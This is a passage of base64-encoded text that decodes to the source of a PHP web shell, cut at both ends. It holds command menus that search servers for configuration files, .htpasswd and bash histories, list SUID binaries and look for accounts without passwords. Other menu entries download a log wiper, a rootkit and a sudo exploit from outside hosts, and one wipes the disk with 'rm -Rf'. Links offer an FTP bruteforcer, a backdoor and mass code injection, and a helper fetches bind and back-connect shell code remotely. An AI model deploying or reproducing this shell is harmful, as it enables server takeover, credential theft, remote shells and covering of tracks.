ImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFJhdEhvbGUgMS4yIChMaW51eCAmIEJTRCkiLCJ3Z2V0IGh0dHA6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL3Jvb3RraXRzL3JhdGhvbGUtMS4yLnRhci5neiIpLA0KICAgIGFycmF5KCJ3Z2V0IFN1ZG8gRXhwbG9pdCIsIndnZXQgaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy9zdWRvLWV4cGxvaXQuYyIpLA0KICApOw0KfQ0KZWxzZSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJkaXIiKSwNCiAgICBhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIpLA0KICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQoJYXJyYXkoIlN5c3RlbWluZm8iLCJzeXN0ZW1pbmZvIikgDQogICAgKTsNCn0NCiRwaHBmc2FsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwNCiAgICBhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCAid3JpdGUiKSwgDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0hvbWVdIiwkc3VybC4iPWltZyZpbWc9aG9tZSIpLA0KICAgIGFycmF5KCJbRW51bWVyYXRlXSIsJGVudW1lcmF0ZSksDQoJYXJyYXkoIltTZWFyY2hdIiwkc3VybC4ieD1zZWFyY2giKSwNCiAgICBhcnJheSgiW1NlbGYtS2lsbF0iLCRzdXJsLiJ4PXNlbGZyZW1vdmUiKSwNCiAgICBhcnJheSgiW0Fib3V0XSIsJHN1cmwuIng9YWJvdXQiKQ0KKTsNCiRxdWlja2xhdW5jaDEgPSBhcnJheSgNCglhcnJheSgiW0ZUUCBCdXRlZm9yY2VyXSIsJHN1cmwuIng9ZnRwcXVpY2ticnV0ZSIpLA0KICAgIGFycmF5KCJbU2VjdXJpdHkgSW5mb10iLCRzdXJsLiJ4PXNlY3VyaXR5JmQ9JWQiKSwNCiAgICBhcnJheSgiW1Byb2Nlc3Nlc10iLCRzdXJsLiJ4PXByb2Nlc3NlcyZkPSVkIiksDQogICAgYXJyYXkoIltNeVNRTF0iLCRzdXJsLiJ4PXNxbCZkPSVkIiksDQogICAgYXJyYXkoIltQSFAtQ29kZV0iLCRzdXJsLiJ4PWV2YWwmZD0lZCIpLA0KICAgIGFycmF5KCJbRW5jb2Rlcl0iLCRzdXJsLiJ4PWVuY29kZXImZD0lZCIpLA0KCWFycmF5KCJbQmFja2Rvb3JdIiwkc3VybC4ieD1zaGJkIikNCik7DQokcXVpY2tsYXVuY2gzID0gYXJyYXkoDQoJYXJyYXkoIltQSFAtVG9vbHNdIiwkc3VybC4ieD1waHB0b29scyIpLA0KCWFycmF5KCJbQ3BhbmVsIEZpbmRlcl0iLCRzdXJsLiJ4PWNwYW5lbCIpLA0KICAgIGFycmF5KCdbSW5zdGFsbCBJUDpQb3J0IFByb3h5XScsJHN1cmwuJ3g9cHJveHknKSwNCglhcnJheSgiW0luc3RhbGwgUEhQIFByb3h5XSIsJHN1cmwuIng9cGhwcHJveHkiKSwNCglhcnJheSgiW0luc3RhbGwgUkZJL0xGSSBTY2FubmVyXSIsJHN1cmwuIng9ZmkiKSwNCglhcnJheSgiW01hc3MgQ29kZSBJbmplY3Rpb25dIiwkc3VybC4ieD1tYXNzYnJvd3NlcnNwbG9pdCIpLA0KCWFycmF5KCJbRmluZCBXUiBkaXJgc10iLCRzdXJsLiJ4PWZpbmR3ciIpDQopOw0KDQoNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjMDAwMDAwIjsNCiRoaWdobGlnaHRfYmcgPSAid2hpdGUiOw0KJGhpZ2hsaWdodF9jb21tZW50ID0gIiNDQ0NDQ0MiOw0KJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5nZSI7DQokaGlnaGxpZ2h0X2h0bWwgPSAibGlnaHRibHVlIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICJsaW1lIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gInJlZCI7DQoNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFVRVNUWyJjYXByaXY4Y29vayJdKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpOyB9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7DQogIGV4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjogQWNjZXNzIERlbmllZCAtIFlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93ZWQiKTsNCn0NCmlmICghZW1wdHkoJGxvZ2luKSkgew0KICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KICBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKSB7DQogICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJHNoX25hbWUuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOw0KICB9DQp9DQppZiAoJHggIT0gImltZyIpIHsNCiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkY3VyZGlyKTsNCiAgaWYgKCRzZWxmd3JpdGUpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBjYXByaXY4X2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOw0KICAgIGV4aXQ7DQogIH0NCiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYWdldHNvdXJjZSIpKSB7DQogICAgZnVuY3Rpb24gY2FnZXRzb3VyY2UoJGZuKSB7DQogICAgICBnbG9iYWwgJGNhcHJpdjhfc291cmNlc3VybDsNCiAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5wbCIgPT4gImNhcHJpdjhfYmluZHBvcnRfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRfYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9iYWNrY29ubi5wbCIgPT4gImNhcHJpdjhfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4uYyIgPT4gImNhcHJpdjhfYmFja2Nvbm5fYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0YXBpcGVfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUuYyIgPT4gImNhcHJpdjhfZGF0YXBpcGVfYy50eHQiLA0KICAgICAgKTsNCiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07DQogICAgICBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGNhcHJpdjhfc291cmNlc3VybC4kbmFtZSk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhX2J1ZmZfcHJlcGFyZSIpKSB7DQogICAgZnVuY3Rpb24gY2FfYnVmZl9wcmVwYXJlKCkgew0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBnbG9iYWwgJHg7DQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19DQogICAgICBlbHNlIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCiAgICB9DQogIH0NCiAgY2FfYnVmZl9wcmVwYXJlKCk7DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9zZXNzX3B1dCIpKSB7DQogICAgZnVuY3Rpb24gY2Ffc2Vzc19wdXQoJGRhdGEpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19jb29raWU7DQogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsNCiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQogICAgfQ0KICB9DQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgew0KICAgIGlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KICB9DQogIGlmICgkc29ydF9zYXZlKSB7DQogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsNCiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7DQogICAgICBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIHsNCiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiAgICAgIH0gZWxzZSB7cmV0dXJuICRjb250ZW50O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSB7DQogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQ0KICAgICAgZWxzZSB7DQogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSB7DQogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsNCiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQ0KICAgICAgZWxzZSB7IHJldHVybiBGQUxTRTsgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgJHJldCA9IFRSVUU7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoaXNfZGlyKCRkKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsNCiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogICAgICAgIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3JtZGlyKCRkKSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30NCiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgcm1kaXIoJGQpOw0KICAgICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7DQogICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogICAgICBpZiAoaXNfZGlyKCRvKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19ybWRpcigkbyk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgew0KICAgICAgaWYg